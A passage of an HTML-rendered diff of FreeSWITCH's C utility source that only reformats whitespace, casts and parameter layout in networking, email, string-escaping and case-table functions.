</ins><span class="cx">                                          cidr_str, ok ? "allow" : "deny", switch_str_nil(token), list->name);
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -200,14 +202,14 @@
</span><span class="cx"> {
</span><span class="cx">         char *cidr_str_dup = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (strchr(cidr_str, ',')) {
</span><span class="cx">                 char *argv[32] = { 0 };
</span><del>-                int i,argc;
</del><ins>+                int i, argc;
</ins><span class="cx">                 cidr_str_dup = strdup(cidr_str);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_assert(cidr_str_dup);
</span><del>-                if ((argc = switch_separate_string(cidr_str_dup, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {                
</del><ins>+                if ((argc = switch_separate_string(cidr_str_dup, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</ins><span class="cx">                         for (i = 0; i < argc; i++) {
</span><span class="cx">                                 switch_status_t this_status;
</span><span class="cx">                                 if ((this_status = switch_network_list_perform_add_cidr_token(list, argv[i], ok, token)) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -218,7 +220,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 status = switch_network_list_perform_add_cidr_token(list, cidr_str, ok, token);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(cidr_str_dup);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -242,7 +244,7 @@
</span><span class="cx">         mask = (mask & 0x33333333) + ((mask >> 2) & 0x33333333);
</span><span class="cx">         node->bits = (((mask + (mask >> 4)) & 0xF0F0F0F) * 0x1010101) >> 24;
</span><span class="cx">         node->str = switch_core_sprintf(list->pool, "%s:%s", host, mask_str);
</span><del>-        
</del><ins>+
</ins><span class="cx">         node->next = list->node_head;
</span><span class="cx">         list->node_head = node;
</span><span class="cx">
</span><span class="lines">@@ -461,13 +463,10 @@
</span><span class="cx">         return 1;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
-                                                                                                 const char *from,
-                                                                                                 const char *headers,
-                                                                                                 const char *body,
-                                                                                                 const char *file,
-                                                                                                 const char *convert_cmd,
-                                                                                                 const char *convert_ext)
</del><ins>+SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
+                                                                                                 const char *from,
+                                                                                                 const char *headers,
+                                                                                                 const char *body, const char *file, const char *convert_cmd, const char *convert_ext)
</ins><span class="cx"> {
</span><span class="cx">         char *bound = "XXXX_boundary_XXXX";
</span><span class="cx">         const char *mime_type = "audio/inline";
</span><span class="lines">@@ -489,7 +488,7 @@
</span><span class="cx">                                 newfile = switch_mprintf("%s.%s", dupfile, convert_ext);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (newfile) {
</span><span class="cx">                         char cmd[1024] = "";
</span><span class="cx">                         switch_snprintf(cmd, sizeof(cmd), "%s %s %s", convert_cmd, file, newfile);
</span><span class="lines">@@ -531,7 +530,7 @@
</span><span class="cx">                         switch_snprintf(buf, B64BUFFLEN, "--%s\nContent-Type: text/plain\n\n", bound);
</span><span class="cx">                 }
</span><span class="cx">                 if (!write_buf(fd, buf)) {
</span><del>-                        rval = SWITCH_FALSE;
</del><ins>+                        rval = SWITCH_FALSE;
</ins><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -615,7 +614,6 @@
</span><span class="cx">         if (zstr(from)) {
</span><span class="cx">                 from = "freeswitch";
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef WIN32
</span><span class="cx">         switch_snprintf(buf, B64BUFFLEN, "type %s | %s -f %s %s %s", filename, runtime.mailer_app, from, runtime.mailer_app_args, to);
</span><span class="cx"> #else
</span><span class="lines">@@ -637,8 +635,8 @@
</span><span class="cx">
</span><span class="cx">         rval = SWITCH_TRUE;
</span><span class="cx">
</span><del>- end:        
-        
</del><ins>+ end:
+
</ins><span class="cx">         if (newfile) {
</span><span class="cx">                 unlink(newfile);
</span><span class="cx">                 free(newfile);
</span><span class="lines">@@ -840,11 +838,11 @@
</span><span class="cx">
</span><span class="cx">         if (!me || getifaddrs(&ifaddrs) < 0) {
</span><span class="cx">                 return -1;
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">
</span><del>-        for(i = ifaddrs; i; i = i->ifa_next) {
-                struct sockaddr_in *s = (struct sockaddr_in *)i->ifa_addr;
-                struct sockaddr_in *m = (struct sockaddr_in *)i->ifa_netmask;
</del><ins>+        for (i = ifaddrs; i; i = i->ifa_next) {
+                struct sockaddr_in *s = (struct sockaddr_in *) i->ifa_addr;
+                struct sockaddr_in *m = (struct sockaddr_in *) i->ifa_netmask;
</ins><span class="cx">
</span><span class="cx">                 if (s && m && s->sin_addr.s_addr == me->sin_addr.s_addr) {
</span><span class="cx">                         *mask = m->sin_addr.s_addr;
</span><span class="lines">@@ -852,9 +850,9 @@
</span><span class="cx">                         return 0;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         freeifaddrs(ifaddrs);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return -2;
</span><span class="cx"> }
</span><span class="cx"> #elif defined(__linux__)
</span><span class="lines">@@ -866,16 +864,16 @@
</span><span class="cx">
</span><span class="cx">         static struct ifreq ifreqs[20] = { {{{0}}} };
</span><span class="cx">         struct ifconf ifconf;
</span><del>-        int nifaces, i;
</del><ins>+        int nifaces, i;
</ins><span class="cx">         int sock;
</span><span class="cx">         int r = -1;
</span><del>-        
-        memset(&ifconf,0,sizeof(ifconf));
-        ifconf.ifc_buf = (char*) (ifreqs);
</del><ins>+
+        memset(&ifconf, 0, sizeof(ifconf));
+        ifconf.ifc_buf = (char *) (ifreqs);
</ins><span class="cx">         ifconf.ifc_len = sizeof(ifreqs);
</span><del>-        
</del><span class="cx">
</span><del>-        if ((sock = socket(AF_INET,SOCK_STREAM, 0)) < 0) {
</del><ins>+
+        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
</ins><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -885,17 +883,17 @@
</span><span class="cx">
</span><span class="cx">         nifaces = ifconf.ifc_len / sizeof(struct ifreq);
</span><span class="cx">
</span><del>-        for(i = 0; i < nifaces; i++) {
</del><ins>+        for (i = 0; i < nifaces; i++) {
</ins><span class="cx">                 struct sockaddr_in *sin = NULL;
</span><span class="cx">                 struct in_addr ip;
</span><span class="cx">
</span><span class="cx">                 ioctl(sock, SIOCGIFADDR, &ifreqs[i]);
</span><del>-                sin = (struct sockaddr_in *)&ifreqs[i].ifr_addr;
</del><ins>+                sin = (struct sockaddr_in *) &ifreqs[i].ifr_addr;
</ins><span class="cx">                 ip = sin->sin_addr;
</span><span class="cx">
</span><span class="cx">                 if (ip.s_addr == me->sin_addr.s_addr) {
</span><span class="cx">                         ioctl(sock, SIOCGIFNETMASK, &ifreqs[i]);
</span><del>-                        sin = (struct sockaddr_in *)&ifreqs[i].ifr_addr;
</del><ins>+                        sin = (struct sockaddr_in *) &ifreqs[i].ifr_addr;
</ins><span class="cx">                         //mask = sin->sin_addr;
</span><span class="cx">                         *mask = sin->sin_addr.s_addr;
</span><span class="cx">                         r = 0;
</span><span class="lines">@@ -903,9 +901,9 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">         }
</span><del>-        
- end:
-        
</del><ins>+
+ end:
+
</ins><span class="cx">         close(sock);
</span><span class="cx">         return r;
</span><span class="cx">
</span><span class="lines">@@ -932,20 +930,20 @@
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- interface_count = bytes / sizeof(INTERFACE_INFO);
</del><ins>+        interface_count = bytes / sizeof(INTERFACE_INFO);
</ins><span class="cx">
</span><span class="cx">         for (x = 0; x < interface_count; ++x) {
</span><del>-                struct sockaddr_in *addr = (struct sockaddr_in *) & (interfaces[x].iiAddress);
</del><ins>+                struct sockaddr_in *addr = (struct sockaddr_in *) &(interfaces[x].iiAddress);
</ins><span class="cx">
</span><span class="cx">                 if (addr->sin_addr.s_addr == me->sin_addr.s_addr) {
</span><del>-                        struct sockaddr_in *netmask = (struct sockaddr_in *) & (interfaces[x].iiNetmask);
</del><ins>+                        struct sockaddr_in *netmask = (struct sockaddr_in *) &(interfaces[x].iiNetmask);
</ins><span class="cx">                         *mask = netmask->sin_addr.s_addr;
</span><span class="cx">                         r = 0;
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         closesocket(sock);
</span><span class="cx">         return r;
</span><span class="cx"> }
</span><span class="lines">@@ -963,18 +961,18 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_resolve_host(const char *host, char *buf, size_t buflen)
</span><span class="cx"> {
</span><span class="cx">
</span><del>- struct addrinfo *ai;
- int err;
-        
- if ((err = getaddrinfo(host, 0, 0, &ai))) {
- return SWITCH_STATUS_FALSE;
- }
</del><ins>+        struct addrinfo *ai;
+        int err;
</ins><span class="cx">
</span><ins>+        if ((err = getaddrinfo(host, 0, 0, &ai))) {
+                return SWITCH_STATUS_FALSE;
+        }
+
</ins><span class="cx">         get_addr(buf, buflen, ai->ai_addr, sizeof(*ai->ai_addr));
</span><span class="cx">
</span><del>- freeaddrinfo(ai);
</del><ins>+        freeaddrinfo(ai);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1001,7 +999,7 @@
</span><span class="cx">         if (len < 16) {
</span><span class="cx">                 return status;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (family) {
</span><span class="cx">         case AF_INET:
</span><span class="cx">                 switch_copy_string(buf, "127.0.0.1", len);
</span><span class="lines">@@ -1009,7 +1007,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         case AF_INET6:
</span><span class="cx">                 switch_copy_string(buf, "::1", len);
</span><del>-                base = "2001:503:BA3E::2:30"; // DNS Root server A
</del><ins>+                base = "2001:503:BA3E::2:30";        // DNS Root server A
</ins><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 base = "127.0.0.1";
</span><span class="lines">@@ -1037,7 +1035,7 @@
</span><span class="cx">         freeaddrinfo(address_info);
</span><span class="cx">
</span><span class="cx">         if (!getnameinfo((const struct sockaddr *) &l_address, l_address_len, buf, len, NULL, 0, NI_NUMERICHOST)) {
</span><del>-                status = SWITCH_STATUS_SUCCESS;        
</del><ins>+                status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">                 if (mask) {
</span><span class="cx">                         get_netmask((struct sockaddr_in *) &l_address, mask);
</span><span class="cx">                 }
</span><span class="lines">@@ -1075,9 +1073,9 @@
</span><span class="cx">                                 goto doh;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        switch_copy_string(buf, get_addr(abuf, sizeof(abuf), (struct sockaddr*)&iface_out, sizeof(iface_out)), len);
</del><ins>+                        switch_copy_string(buf, get_addr(abuf, sizeof(abuf), (struct sockaddr *) &iface_out, sizeof(iface_out)), len);
</ins><span class="cx">                         if (mask) {
</span><del>-                                get_netmask((struct sockaddr_in*)&iface_out, mask);
</del><ins>+                                get_netmask((struct sockaddr_in *) &iface_out, mask);
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1372,9 +1370,9 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) get_addr_int(switch_sockaddr_t *sa)
</span><span class="cx"> {
</span><del>-        struct sockaddr_in *s = (struct sockaddr_in *)&sa->sa;
</del><ins>+        struct sockaddr_in *s = (struct sockaddr_in *) &sa->sa;
</ins><span class="cx">
</span><del>-        return ntohs((unsigned short)s->sin_addr.s_addr);
</del><ins>+        return ntohs((unsigned short) s->sin_addr.s_addr);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_cmp_addr(switch_sockaddr_t *sa1, switch_sockaddr_t *sa2)
</span><span class="lines">@@ -1388,37 +1386,41 @@
</span><span class="cx">         struct sockaddr *ss1;
</span><span class="cx">         struct sockaddr *ss2;
</span><span class="cx">
</span><del>-        if (!(sa1 && sa2)) return 0;
</del><ins>+        if (!(sa1 && sa2))
+                return 0;
</ins><span class="cx">
</span><del>-        s1 = (struct sockaddr_in *)&sa1->sa;
-        s2 = (struct sockaddr_in *)&sa2->sa;
</del><ins>+        s1 = (struct sockaddr_in *) &sa1->sa;
+        s2 = (struct sockaddr_in *) &sa2->sa;
</ins><span class="cx">
</span><del>-        s16 = (struct sockaddr_in6 *)&sa1->sa;
-        s26 = (struct sockaddr_in6 *)&sa2->sa;
</del><ins>+        s16 = (struct sockaddr_in6 *) &sa1->sa;
+        s26 = (struct sockaddr_in6 *) &sa2->sa;
</ins><span class="cx">
</span><del>-        ss1 = (struct sockaddr *)&sa1->sa;
-        ss2 = (struct sockaddr *)&sa2->sa;
-        
-        if (ss1->sa_family != ss2->sa_family) return 0;
</del><ins>+        ss1 = (struct sockaddr *) &sa1->sa;
+        ss2 = (struct sockaddr *) &sa2->sa;
</ins><span class="cx">
</span><ins>+        if (ss1->sa_family != ss2->sa_family)
+                return 0;
+
</ins><span class="cx">         switch (ss1->sa_family) {
</span><span class="cx">         case AF_INET:
</span><del>-                return (s1->sin_addr.s_addr == s2->sin_addr.s_addr && s1->sin_port == s2->sin_port);        
</del><ins>+                return (s1->sin_addr.s_addr == s2->sin_addr.s_addr && s1->sin_port == s2->sin_port);
</ins><span class="cx">         case AF_INET6:
</span><span class="cx">                 if (s16->sin6_addr.s6_addr && s26->sin6_addr.s6_addr) {
</span><span class="cx">                         int i;
</span><span class="cx">
</span><del>-                        if (s16->sin6_port != s26->sin6_port) return 0;
</del><ins>+                        if (s16->sin6_port != s26->sin6_port)
+                                return 0;
</ins><span class="cx">
</span><del>-                        for(i = 0; i < 4; i++) {
-                                if (*((int32_t *)s16->sin6_addr.s6_addr + i) != *((int32_t *)s26->sin6_addr.s6_addr + i)) return 0;
</del><ins>+                        for (i = 0; i < 4; i++) {
+                                if (*((int32_t *) s16->sin6_addr.s6_addr + i) != *((int32_t *) s26->sin6_addr.s6_addr + i))
+                                        return 0;
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         return 1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-        return 0;        
</del><ins>+
+        return 0;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1428,7 +1430,7 @@
</span><span class="cx">         *buf = '\0';
</span><span class="cx">
</span><span class="cx">         if (sa) {
</span><del>-                getnameinfo(sa, salen, buf, (socklen_t)len, NULL, 0, NI_NUMERICHOST);
</del><ins>+                getnameinfo(sa, salen, buf, (socklen_t) len, NULL, 0, NI_NUMERICHOST);
</ins><span class="cx">         }
</span><span class="cx">         return buf;
</span><span class="cx"> }
</span><span class="lines">@@ -1438,23 +1440,18 @@
</span><span class="cx">         unsigned short port = 0;
</span><span class="cx">         if (sa) {
</span><span class="cx">                 switch (sa->sa_family) {
</span><del>-                        case AF_INET:
-                                port = ntohs(((struct sockaddr_in*)sa)->sin_port);
-                                break;
-                        case AF_INET6:
-                                port = ntohs(((struct sockaddr_in6*)sa)->sin6_port);
-                                break;
</del><ins>+                case AF_INET:
+                        port = ntohs(((struct sockaddr_in *) sa)->sin_port);
+                        break;
+                case AF_INET6:
+                        port = ntohs(((struct sockaddr_in6 *) sa)->sin6_port);
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return port;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(int) switch_build_uri(char *uri,
-                                                                         switch_size_t size,
-                                                                         const char *scheme,
-                                                                         const char *user,
-                                                                         const switch_sockaddr_t *sa,
-                                                                         int flags)
</del><ins>+SWITCH_DECLARE(int) switch_build_uri(char *uri, switch_size_t size, const char *scheme, const char *user, const switch_sockaddr_t *sa, int flags)
</ins><span class="cx"> {
</span><span class="cx">         char host[NI_MAXHOST], serv[NI_MAXSERV];
</span><span class="cx">         struct sockaddr_in6 si6;
</span><span class="lines">@@ -1465,22 +1462,20 @@
</span><span class="cx">                 memcpy(&si6, &sa->sa, sa->salen);
</span><span class="cx">                 si6.sin6_scope_id = 0;
</span><span class="cx">
</span><del>-                addr = (const struct sockaddr*) &si6;
</del><ins>+                addr = (const struct sockaddr *) &si6;
</ins><span class="cx">         } else {
</span><del>-                addr = (const struct sockaddr*) (intptr_t)&sa->sa;
</del><ins>+                addr = (const struct sockaddr *) (intptr_t) & sa->sa;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (getnameinfo(addr, sa->salen, host, sizeof(host), serv, sizeof(serv),
</span><del>-                ((flags & SWITCH_URI_NUMERIC_HOST) ? NI_NUMERICHOST : 0) | ((flags & SWITCH_URI_NUMERIC_PORT) ? NI_NUMERICSERV : 0)) != 0) {
-                        return 0;
</del><ins>+                                        ((flags & SWITCH_URI_NUMERIC_HOST) ? NI_NUMERICHOST : 0) | ((flags & SWITCH_URI_NUMERIC_PORT) ? NI_NUMERICSERV : 0)) != 0) {
+                return 0;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         colon = strchr(host, ':');
</span><span class="cx">
</span><span class="cx">         return switch_snprintf(uri, size, "%s:%s%s%s%s%s%s%s", scheme,
</span><del>-                user ? user : "", user ? "@" : "",
-                colon ? "[" : "", host, colon ? "]" : "",
-                serv[0] ? ":" : "", serv[0] ? serv : "");
</del><ins>+                                                 user ? user : "", user ? "@" : "", colon ? "[" : "", host, colon ? "]" : "", serv[0] ? ":" : "", serv[0] ? serv : "");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(char) switch_rfc2833_to_char(int event)
</span><span class="lines">@@ -1581,43 +1576,43 @@
</span><span class="cx"> {
</span><span class="cx">         const char *p;
</span><span class="cx">         char *o = out;
</span><del>-        
-        for(p = in; *p; p++) {
-                switch(*p) {
-                        case '\n':
-                                *o++ = '\\';
-                                *o++ = 'n';
-                                break;
-                        case '\r':
-                                *o++ = '\\';
-                                *o++ = 'r';
-                                break;
-                        case '\t':
-                                *o++ = '\\';
-                                *o++ = 't';
-                                break;
-                        case ' ':
-                                *o++ = '\\';
-                                *o++ = 's';
-                                break;
-                        case '$':
-                                *o++ = '\\';
-                                *o++ = '$';
-                                break;
-                        default:
-                                *o++ = *p;
-                                break;
</del><ins>+
+        for (p = in; *p; p++) {
+                switch (*p) {
+                case '\n':
+                        *o++ = '\\';
+                        *o++ = 'n';
+                        break;
+                case '\r':
+                        *o++ = '\\';
+                        *o++ = 'r';
+                        break;
+                case '\t':
+                        *o++ = '\\';
+                        *o++ = 't';
+                        break;
+                case ' ':
+                        *o++ = '\\';
+                        *o++ = 's';
+                        break;
+                case '$':
+                        *o++ = '\\';
+                        *o++ = '$';
+                        break;
+                default:
+                        *o++ = *p;
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         *o++ = '\0';
</span><span class="cx">
</span><del>-        return out;        
</del><ins>+        return out;
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(char*) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(char *) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><del>-        int len = strlen(in)*2;
</del><ins>+        int len = strlen(in) * 2;
</ins><span class="cx">         char *buf = switch_core_alloc(pool, len);
</span><span class="cx">         return switch_escape_string(in, buf, len);
</span><span class="cx"> }
</span><span class="lines">@@ -1639,7 +1634,7 @@
</span><span class="cx">         for (start = dest = ptr; *ptr; ++ptr) {
</span><span class="cx">                 char e;
</span><span class="cx">                 int esc = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (*ptr == ESCAPE_META) {
</span><span class="cx">                         e = *(ptr + 1);
</span><span class="cx">                         if (e == '\'' || e == '"' || (delim && e == delim) || e == ESCAPE_META || (e = unescape_char(*(ptr + 1))) != *(ptr + 1)) {
</span><span class="lines">@@ -1672,15 +1667,16 @@
</span><span class="cx">         unsigned int count = 0;
</span><span class="cx">         char *d;
</span><span class="cx">         size_t dlen = strlen(delim);
</span><del>-        
</del><ins>+
</ins><span class="cx">         array[count++] = buf;
</span><span class="cx">
</span><del>-        while (count < arraylen && array[count-1]) {
-                if ((d = strstr(array[count-1], delim))) {
</del><ins>+        while (count < arraylen && array[count - 1]) {
+                if ((d = strstr(array[count - 1], delim))) {
</ins><span class="cx">                         *d = '\0';
</span><span class="cx">                         d += dlen;
</span><span class="cx">                         array[count++] = d;
</span><del>-                } else break;
</del><ins>+                } else
+                        break;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return count;
</span><span class="lines">@@ -1876,7 +1872,7 @@
</span><span class="cx">         size_t string_len = strlen(string);
</span><span class="cx">         size_t i;
</span><span class="cx">         size_t n = 0;
</span><del>-        size_t dest_len = string_len + 1; /* +1 for the opening quote */
</del><ins>+        size_t dest_len = string_len + 1;        /* +1 for the opening quote */
</ins><span class="cx">         char *dest, *tmp;
</span><span class="cx">
</span><span class="cx">         dest = (char *) malloc(sizeof(char) * dest_len);
</span><span class="lines">@@ -1898,7 +1894,7 @@
</span><span class="cx"> #else
</span><span class="cx">                 case '\'':
</span><span class="cx">                         /* We replace ' by '\'' */
</span><del>-                        dest_len+=3;
</del><ins>+                        dest_len += 3;
</ins><span class="cx">                         tmp = (char *) realloc(dest, sizeof(char) * (dest_len));
</span><span class="cx">                         switch_assert(tmp);
</span><span class="cx">                         dest = tmp;
</span><span class="lines">@@ -1911,9 +1907,9 @@
</span><span class="cx">                 default:
</span><span class="cx">                         dest[n++] = string[i];
</span><span class="cx">                 }
</span><del>- }
-
-        dest_len += 2; /* +2 for the closing quote and the null character */
</del><ins>+        }
+
+        dest_len += 2;                                /* +2 for the closing quote and the null character */
</ins><span class="cx">         tmp = (char *) realloc(dest, sizeof(char) * (dest_len));
</span><span class="cx">         switch_assert(tmp);
</span><span class="cx">         dest = tmp;
</span><span class="lines">@@ -2000,96 +1996,96 @@
</span><span class="cx">
</span><span class="cx"> const short _switch_C_toupper_[1 + SWITCH_CTYPE_NUM_CHARS] = {
</span><span class="cx">         EOF,
</span><del>-        0x00,        0x01,        0x02,        0x03,        0x04,        0x05,        0x06,        0x07,
-        0x08,        0x09,        0x0a,        0x0b,        0x0c,        0x0d,        0x0e,        0x0f,
-        0x10,        0x11,        0x12,        0x13,        0x14,        0x15,        0x16,        0x17,
-        0x18,        0x19,        0x1a,        0x1b,        0x1c,        0x1d,        0x1e,        0x1f,
-        0x20,        0x21,        0x22,        0x23,        0x24,        0x25,        0x26,        0x27,
-        0x28,        0x29,        0x2a,        0x2b,        0x2c,        0x2d,        0x2e,        0x2f,
-        0x30,        0x31,        0x32,        0x33,        0x34,        0x35,        0x36,        0x37,
-        0x38,        0x39,        0x3a,        0x3b,        0x3c,        0x3d,        0x3e,        0x3f,
-        0x40,        0x41,        0x42,        0x43,        0x44,        0x45,        0x46,        0x47,
-        0x48,        0x49,        0x4a,        0x4b,        0x4c,        0x4d,        0x4e,        0x4f,
-        0x50,        0x51,        0x52,        0x53,        0x54,        0x55,        0x56,        0x57,
-        0x58,        0x59,        0x5a,        0x5b,        0x5c,        0x5d,        0x5e,        0x5f,
-        0x60,        'A',        'B',        'C',        'D',        'E',        'F',        'G',
-        'H',        'I',        'J',        'K',        'L',        'M',        'N',        'O',
-        'P',        'Q',        'R',        'S',        'T',        'U',        'V',        'W',
-        'X',        'Y',        'Z',        0x7b,        0x7c,        0x7d,        0x7e,        0x7f,
-        0x80,        0x81,        0x82,        0x83,        0x84,        0x85,        0x86,        0x87,
-        0x88,        0x89,        0x8a,        0x8b,        0x8c,        0x8d,        0x8e,        0x8f,
-        0x90,        0x91,        0x92,        0x93,        0x94,        0x95,        0x96,        0x97,
-        0x98,        0x99,        0x9a,        0x9b,        0x9c,        0x9d,        0x9e,        0x9f,
-        0xa0,        0xa1,        0xa2,        0xa3,        0xa4,        0xa5,        0xa6,        0xa7,
-        0xa8,        0xa9,        0xaa,        0xab,        0xac,        0xad,        0xae,        0xaf,
-        0xb0,        0xb1,        0xb2,        0xb3,        0xb4,        0xb5,        0xb6,        0xb7,
-        0xb8,        0xb9,        0xba,        0xbb,        0xbc,        0xbd,        0xbe,        0xbf,
-        0xc0,        0xc1,        0xc2,        0xc3,        0xc4,        0xc5,        0xc6,        0xc7,
-        0xc8,        0xc9,        0xca,        0xcb,        0xcc,        0xcd,        0xce,        0xcf,
-        0xd0,        0xd1,        0xd2,        0xd3,        0xd4,        0xd5,        0xd6,        0xd7,
-        0xd8,        0xd9,        0xda,        0xdb,        0xdc,        0xdd,        0xde,        0xdf,
-        0xe0,        0xe1,        0xe2,        0xe3,        0xe4,        0xe5,        0xe6,        0xe7,
-        0xe8,        0xe9,        0xea,        0xeb,        0xec,        0xed,        0xee,        0xef,
-        0xf0,        0xf1,        0xf2,        0xf3,        0xf4,        0xf5,        0xf6,        0xf7,
-        0xf8,        0xf9,        0xfa,        0xfb,        0xfc,        0xfd,        0xfe,        0xff
</del><ins>+        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+        0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+        0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
+        0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
+        0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
+        0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
+        0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
+        0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
+        0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,
+        0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
+        0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
+        0x60, 'A', 'B', 'C', 'D', 'E', 'F', 'G',
+        'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
+        'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
+        'X', 'Y', 'Z', 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
+        0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
+        0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
+        0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
+        0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
+        0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
+        0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
+        0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
+        0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
+        0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
+        0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
+        0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
+        0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
+        0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
+        0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+        0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
+        0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> const short *_switch_toupper_tab_ = _switch_C_toupper_;
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_toupper(int c)
</span><span class="cx"> {
</span><del>-        if ((unsigned int)c > 255)
-                return(c);
</del><ins>+        if ((unsigned int) c > 255)
+                return (c);
</ins><span class="cx">         if (c < -1)
</span><span class="cx">                 return EOF;
</span><del>-        return((_switch_toupper_tab_ + 1)[c]);
</del><ins>+        return ((_switch_toupper_tab_ + 1)[c]);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> const short _switch_C_tolower_[1 + SWITCH_CTYPE_NUM_CHARS] = {
</span><span class="cx">         EOF,
</span><del>-        0x00,        0x01,        0x02,        0x03,        0x04,        0x05,        0x06,        0x07,
-        0x08,        0x09,        0x0a,        0x0b,        0x0c,        0x0d,        0x0e,        0x0f,
-        0x10,        0x11,        0x12,        0x13,        0x14,        0x15,        0x16,        0x17,
-        0x18,        0x19,        0x1a,        0x1b,        0x1c,        0x1d,        0x1e,        0x1f,
